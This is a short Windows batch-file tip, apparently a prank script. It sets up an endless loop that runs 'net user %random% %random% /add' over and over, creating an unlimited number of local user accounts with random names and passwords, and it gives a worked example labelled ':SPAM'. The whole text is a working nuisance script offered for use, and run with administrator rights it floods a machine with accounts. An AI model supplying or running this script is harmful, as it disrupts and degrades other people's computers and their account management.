Make infinite users with
random names & passwords:

:(name of loop)
net user %random% %random% /add
net user %random% %random% /add
net user %random% %random% /add
net user %random% %random% /add
net user %random% %random% /add
goto (name Of Loop)

EXMAPLE:

:SPAM
net user %random% %random% /add
net user %random% %random% /add
net user %random% %random% /add
net user %random% %random% /add
net user %random% %random% /add
goto SPAM